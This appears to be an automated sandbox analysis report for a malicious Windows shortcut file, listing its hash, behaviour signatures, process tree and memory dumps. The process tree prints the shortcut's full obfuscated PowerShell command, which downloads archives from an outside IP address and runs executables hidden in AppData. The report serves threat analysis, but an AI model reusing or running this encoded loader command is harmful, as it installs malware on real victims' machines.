Analysis
- max time kernel
300s - max time network
295s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 14:53
General
- Target 未成交+增资#.lnk
- Size 8KB
- Sample260910-r9r3tadp21
- SHA256 32e1c51538461e2cc3862c77f58a52663d74be3393f8588c1a74aef8ce64f24a
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\未成交+增资#.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JABNAEIAQwBYAEQAIAA9ACAAJwA7ACIAZQB4AGUALgBkAHMAbABvAG8AdABtAHYAXABcAGUAYgBvAGQAQQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgACYAOwAiAGUAeABlAC4AdAByAG8AcABnAGgAYwBcAFwAZQBiAG8AZABBAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAJgA7AGUAYwByAG8ARgAtACAAIgBwAGkAegAuAGwAbABqAGwAegBcAFwAZQBiAG8AZABBAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAbQBlAHQASQAtAGUAdgBvAG0AZQBSACAAOwBlAGMAcgBvAEYALQAgACIAZQBiAG8AZABBAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUABuAG8AaQB0AGEAbgBpAHQAcwBlAEQALQAgACIAcABpAHoALgBsAGwAagBsAHoAXABcAGUAYgBvAGQAQQBcAFwAQQBUAEEARABQAFAAQQA6AHYAbgBlACQAIgAgAGgAdABhAFAALQAgAGUAdgBpAGgAYwByAEEALQBkAG4AYQBwAHgARQA7AGcAbgBpAHMAcgBhAFAAYwBpAHMAYQBCAGUAcwBVAC0AIAAiAHAAaQB6AC4AbABsAGoAbAB6AFwAXABlAGIAbwBkAEEAXABcAEEAVABBAEQAUABQAEEAOgB2AG4AZQAkACIAIABvAC0AIAAiAHAAaQB6AC4AbABsAGoAbAB6AC8ANQA0ADEALgA4ADIAMQAuADIAMgAxAC4AfQBDAFAAewAkAH0AQwBMAHsAJAB9AE0AYQB7ACQAfQB4AEQAewAkACIAIABsAHIAdQBjADsAfQBsAGwAdQBOAC0AdAB1AE8AfABlAGMAcgBvAEYALQAgACIAZQBiAG8AZABBAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAeQByAG8AdABjAGUAcgBpAEQAIABlAHAAeQBUAC0AIABtAGUAdABJAC0AdwBlAE4AIAAgAHsAKQApACIAZQBiAG8AZABBAFwAXABBAFQAQQBEAFAAUABBADoAdgBuAGUAJAAiACAAaAB0AGEAUAAtAHQAcwBlAFQAKAAgAHQAbwBuAC0AKAAgAGYAaQAgADsAZwBuAGkAcwByAGEAUABjAGkAcwBhAEIAZQBzAFUALQAgACIAdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAG8ALQAgACIAdAB4AHQALgAOZvSLLwA1ADQAMQAuADgAMgAxAC4AMgAyADEALgB9AEMAUAB7ACQAfQBDAEwAewAkAH0ATQBhAHsAJAB9AHgARAB7ACQAIgAgAGwAcgB1AGMAOwAiADQAMwAxAC8ALwA6ACIAPQBDAFAAJAA7ACIAZwBuAGkAcwByAGEAIgA9AGwAbAAkADsAIgBQAGMAaQAiAD0AawBrACQAOwAiAHMAYQBCACIAPQBqAGoAJAA7ACIAZQBzAFUALQAiAD0AaABoACQAOwAiAHAAIgA9AEMATAAkADsAIgB0AHQAIgA9AE0AYQAkADsAIgBoACIAPQB4AEQAJAA7ACIAagBkAGgAIgA9AGoAZABoACQAOwAiAGoAdQBoACIAPQBqAHUAaAAkADsAIgBqAEQAUwBoACIAPQBFAFIAaAAkADsAIgBlAHIAdAByAHkAIgA9AGQAcwBlAGYAJAA7ACIAZQBlAGUAdwBzAHMAeQAiAD0AcwBzAGUAZgAkADsAIgBlAGUAcwBhAHIAcgBlAGUAZgBkAHMAcwB5ACIAPQBzAHMAZwBmAGQAZgAkADsAIgBlAGUAcwBhAGMAdgBkACIAPQBzAHMAZwBoAGkAbABkAGYAJAA7ACIAdABlAHkAZABoAHMAIgA9AEQASABTAFQAUgBZACQAOwAiAHQAbwBsAHkAZwBoAGIAcwAiAD0AZQByAGYAZwB5ACQAOwAiAGQAcABvAGwAbABzACIAPQBmAGUAZABzAGEAYQAkADsAIgBkAHUAagB0AGQAIgA9AEEARABTAGQAUgBGAEQAJAA7ACIAcwBhAHIAZgB2AGMAIgA9AHUAdQB1AGgAZgBiACQAOwAiAHMAYQByAHQAcgByAHQAawBqACIAPQB1AHQAdgB2AHkAeQB5AHkAaABuAGQAJAA7ACIAcwBhAHIASwBKAEgAagAiAD0AdQB0AHYAdgB5AHkAeQBIAEIAbgBBACQAOwAiAHMAYQByAEsARgBIAGoAIgA9AHUAdABBAEQASABCAG4AQQAkADsAIgBzAGEAcgAiAD0AdQB0AEEAJAA7ACIAcwBhAHIASwAiAD0AdQB0AEEAZAAkADsAIgBzAGEAVwBBAEQASwAiAD0AdQB0AEcAVABSAEQAJAA7ACIAcwBhAFcAQQBHAFYAQwBEAEsAIgA9AHUAdABHAFQAUgBBAFMARABBACQAOwAiAHMAYQBXAEEARwBWAEMAUwBBACIAPQB1AHQARwBUAEgAQQBTAEEAJAA7ACIAcwBhAFcAQQBHAFYAQwBVAFkASAAiAD0AdQB0AEcAVABSAEEAUwBEAEQAUwBGAE0AJAA7ACIAcwBhAFcAQQBHAFYAQwBVAEEARABIACIAPQB1AHQARwBUAFIAQQBTAEQAUwBBAEEAJAA7ACIAcwBhAFcAQQBHAFYAQwBVAEYARAAiAD0AdQB0AEcAVABSAEEAUwB2AGEAZAAkADsAIgBmAHMAcwBhAFcAQQBKAEoAQQBrAGEAcwBEACIAPQB1AEQAUwBUAGgAZABkAFQARwAkADsAIgBzAGEAVwBTAEYARgBEAEQAIgA9AHUARABTAFQAaABkAHYAQQBEACQAOwAiAHMAYQBXAHYAQQBKAEoAQQBEAGYARwBHAEIARAAiAD0AdQBEAFMAVABoAGQAZABuAEEAYQBmAEEARABHACQAOwAiAHMAYQBXAEEAZABkAGQAYQBKAEoAQQBvAEQAIgA9AHUARABTAFQAZABoAGQAZABoAGEAZABBAEIAJAA7ACIAQwBYAFkARgBVAEkARgBPAFAATAAiAD0AQQBXAFQAUgBZAEcASAAkADsAIgBDAFgARABGAEgAIgA9AEEAVwBUAFIAQQBTAEEARABIACQAOwAiAEMAWABJAEsASgAiAD0AQQBXAFQARABBACQAOwAiAEMAWABUAFkAVABZAEYAVQBKACIAPQBBAEEAWQBVAEgASgAkADsAIgBDAFgAVABJAEUARABKACIAPQBBAEsASgBIAEQASgAkADsAIgBDAFgAVABZAFQAWQBGAEQAQQBEACIAPQBBAEEAWQBVAE8AUABNACQAOwAiAEMAWABUAFkASwBKAEwATwAiAD0AQQBBAFEAUQBQACQAOwAiAEMAWABUAEgARwBIAEcAQQBEACIAPQBBAEEAUQBGAEYARwBIAFIAVABPAEkAUAAkADsAZQBjAHIAbwBGAC0AIAAiAGsAbgBsAC4AdAB4AHQALgAOZvSLXABcAGgAdABhAFAAbABhAGMAbwBsACQAIgAgAGgAdABhAFAALQAgAG0AZQB0AEkALQBlAHYAbwBtAGUAUgAgADsAaAB0AGEAUAAuACkAbgBvAGkAdABhAGMAbwBMAC0AdABlAEcAKAAgAD0AIABoAHQAYQBQAGwAYQBjAG8AbAAkACcACgAkAEMAUABEAEQASwBBAFMAUwBTACAAPQAgAC0AagBvAGkAbgAgACQATQBCAEMAWABEAFsALQAxAC4ALgAtACQATQBCAEMAWABEAC4ATABlAG4AZwB0AGgAXQAKAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAQwBQAEQARABLAEEAUwBTAFMA2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3136-2-0x00007FFC7966F000-0x00007FFC79670000-memory.dmp
memory/3136-5-0x000002A6757C0000-0x000002A6757E2000-memory.dmp
memory/3136-6-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-7-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-8-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-9-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-10-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-11-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-12-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-13-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-14-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-15-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-17-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-18-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-21-0x000002A675DB0000-0x000002A675DCE000-memory.dmp
memory/3136-22-0x000002A675DD0000-0x000002A675E82000-memory.dmp
memory/3136-23-0x000002A675E90000-0x000002A675E9A000-memory.dmp
memory/3136-24-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp
memory/3136-26-0x00007FFC794E0000-0x00007FFC79E84000-memory.dmp